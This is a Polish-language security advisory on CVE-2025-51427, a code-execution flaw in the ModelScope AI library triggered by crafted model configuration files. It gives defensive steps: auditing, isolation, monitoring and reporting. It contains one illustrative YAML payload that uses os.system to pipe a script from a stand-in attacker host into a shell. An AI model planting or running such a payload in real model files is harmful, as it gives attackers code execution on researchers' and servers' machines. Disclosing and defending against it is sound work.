Jedna luka w oprogramowaniu, oceniona na 7.3 w dziesięciostopniowej skali, może pozwolić na przejęcie kontroli nad systemami wykorzystującymi sztuczną inteligencję. Zaobserwowaliśmy analizę podatności w popularnej bibliotece ModelScope, która stwarza ryzyko dla organizacji eksperymentujących z gotowymi modelami AI. Problem dotyczy bezpośrednio łańcucha dostaw oprogramowania w projektach uczenia maszynowego.

Zagrożenie nie polega na skomplikowanym ataku sieciowym, lecz na zaufaniu, jakim deweloperzy obdarzają publicznie dostępne komponenty. W tym przypadku, spreparowany plik konfiguracyjny dołączony do modelu AI może uruchomić dowolny kod na maszynie badacza lub na serwerze produkcyjnym.

TL;DR

  • Produkt: Biblioteka AI ModelScope, wersja 1.25.0 1.
  • Wektor: Załadowanie modelu ze spreparowanym plikiem konfiguracyjnym dey_mini.yaml 2.
  • Identyfikator: CVE-2025-51427.
  • Wskaźniki: Podejrzane, niestandardowe wpisy w kluczu ['nnet']['module'] w plikach konfiguracyjnych modeli 3.
  • Kogo dotyczy: Zespoły deweloperskie, badawcze i data science w Polsce wykorzystujące otwarte modele AI z publicznych repozytoriów.
  • Pierwszy ruch: Audyt używanych wersji ModelScope i weryfikacja plików konfiguracyjnych pobieranych modeli przed ich uruchomieniem.

Wektor ataku

Podatność oznaczona jako CVE-2025-51427 dotyczy biblioteki ModelScope w wersji 1.25.0 1. Umożliwia ona zdalne wykonanie kodu, znane jako RCE (Remote Code Execution) 4. Oznacza to, że atakujący może uruchomić własne polecenia na komputerze, na którym przetwarzany jest zainfekowany model. Skutkiem może być kradzież danych, instalacja ransomware lub przejęcie kontroli nad infrastrukturą.

Atak polega na manipulacji plikiem konfiguracyjnym modelu, w tym przypadku pliku o nazwie dey_mini.yaml 2. Biblioteka ModelScope, ładując model do pamięci, odczytuje ten plik, aby zrozumieć jego architekturę i zależności. Atakujący może umieścić w tym pliku specjalnie spreparowaną ścieżkę do modułu, która zamiast do standardowej funkcji, prowadzi do wykonania złośliwego kodu.

Telemetria wskazuje, że kluczowym elementem jest pole ['nnet']['module'] w strukturze pliku YAML 3. Wpisanie tam odpowiednio przygotowanej wartości powoduje, że biblioteka podczas inicjalizacji modelu wykonuje kod wskazany przez atakującego. To klasyczny przykład ataku na łańcuch dostaw w kontekście AI, gdzie nie sam model, a jego „metadane” stają się nośnikiem zagrożenia.

Co istotne, oficjalna baza danych NVD (National Vulnerability Database) poinformowała, że ten rekord CVE nie jest priorytetowo traktowany w procesie wzbogacania danych 5. W praktyce oznacza to, że szczegółowe analizy, wektory czy potencjalne obejścia mogą nie pojawić się w oficjalnych kanałach. Zespoły muszą polegać na własnej analizie ryzyka i działaniach prewencyjnych.

Wskaźniki kompromitacji

Zagrożenie nie generuje typowych wskaźników kompromitacji (IoC — Indicators of Compromise), takich jak adresy IP serwerów C2 (Command and Control) czy hashe plików. Wskaźnikiem jest tutaj sama konfiguracja. Należy traktować jako podejrzany każdy plik dey_mini.yaml lub podobny, który w kluczu ['nnet']['module'] zawiera odwołanie do nietypowego lub zewnętrznego modułu Python.

Przykładowa, poglądowa struktura złośliwego wpisu mogłaby wyglądać następująco:

# OSTRZEŻENIE: Poniższy kod jest przykładem poglądowym, a nie działającym exploitem.

nnet:
  module: !!python/object/apply:os.system ['curl http://atakujacy.xyz/payload.sh | sh']
  # ... reszta konfiguracji modelu

Kluczowe jest zwrócenie uwagi na użycie instrukcji, które w środowisku Pythona mogą prowadzić do wykonania kodu, takich jak os.system, subprocess.run czy deserializacja obiektów za pomocą pickle. Audyt plików konfiguracyjnych staje się w tym kontekście kluczowym elementem obrony.

Co zrobić w 24-48h

Polskie firmy, zwłaszcza z sektora MŚP i startupów technologicznych, często polegają na otwartym oprogramowaniu jak ModelScope do budowy swoich produktów AI. To obniża koszty, ale wprowadza ryzyko, które trzeba aktywnie mitygować.

  1. Identyfikacja zasobów: Należy natychmiastowo zweryfikować, czy w organizacji używana jest biblioteka ModelScope. Jeśli tak, konieczne jest ustalenie jej wersji. Podatna jest wersja 1.25.0 1. Należy stworzyć listę wszystkich projektów i systemów, które z niej korzystają.

  2. Audyt modeli: Przeskanuj repozytoria kodu i systemy plików w poszukiwaniu plików konfiguracyjnych .yaml powiązanych z modelami AI, zwłaszcza tymi pobranymi z publicznych hubów (np. Hugging Face, ModelScope Hub). Każdy model z niepewnego źródła jest potencjalnym wektorem ataku.

  3. Weryfikacja konfiguracji: Ręcznie przeanalizuj zawartość klucza ['nnet']['module'] 3 w znalezionych plikach konfiguracyjnych. Każdy wpis, który wygląda na próbę wykonania polecenia systemowego lub importu nietypowego modułu, powinien być traktowany jako incydent bezpieczeństwa. 4. Izolacja środowisk: Uruchamiaj modele AI z niepewnych lub zewnętrznych źródeł wyłącznie w ściśle izolowanych środowiskach, np. kontenerach Docker bez dostępu do sieci lub z ograniczonym dostępem, albo na dedykowanych maszynach wirtualnych. Może to uniemożliwić potencjalnemu złośliwemu kodowi dostęp do sieci wewnętrznej i wrażliwych danych. 5. Aktualizacja i monitorowanie: Śledź oficjalne repozytorium ModelScope w poszukiwaniu nowszej, poprawionej wersji. Ze względu na brak priorytetu w NVD 5, społeczność może być głównym źródłem informacji o poprawkach. Wdrożenie reguł monitorujących podejrzane procesy potomne uruchamiane przez aplikacje Python może pomóc w wykryciu próby exploita. 6. Zgłoszenie incydentu: W przypadku podejrzenia kompromitacji, rekomendowanym krokiem jest zgłoszenie incydentu do krajowego zespołu reagowania, CERT Polska. Dokumentacja z przeprowadzonego audytu będzie kluczowym materiałem dowodowym.

Powyższe rekomendacje stanowią sugerowane podejście i nie zastępują pełnej konsultacji bezpieczeństwa ani profesjonalnego audytu. Ich wdrożenie może jednak znacząco ograniczyć ryzyko związane z opisywaną podatnością.

Źródła

Zobacz też

Footnotes

  1. W ModelScope w wersji 1.25.0 wykryto problem. — https://nvd.nist.gov/vuln/detail/CVE-2025-51427 ↩ ↩2 ↩3

  2. Wykonanie kodu jest możliwe poprzez spreparowany moduł wymieniony w pliku konfiguracyjnym (dey_mini.yaml). — https://nvd.nist.gov/vuln/detail/CVE-2025-51427 ↩ ↩2

  3. Spreparowany moduł znajduje się pod kluczem [‘nnet’][‘module’] w pliku konfiguracyjnym. — https://nvd.nist.gov/vuln/detail/CVE-2025-51427 ↩ ↩2 ↩3

  4. Problem ten pozwala atakującym na wykonanie dowolnego kodu. — https://nvd.nist.gov/vuln/detail/CVE-2025-51427 ↩

  5. Rekord CVE-2025-51427 nie jest priorytetowo traktowany w ramach działań wzbogacających NVD ze względu na zasoby lub inne obawy. — https://nvd.nist.gov/vuln/detail/CVE-2025-51427 ↩ ↩2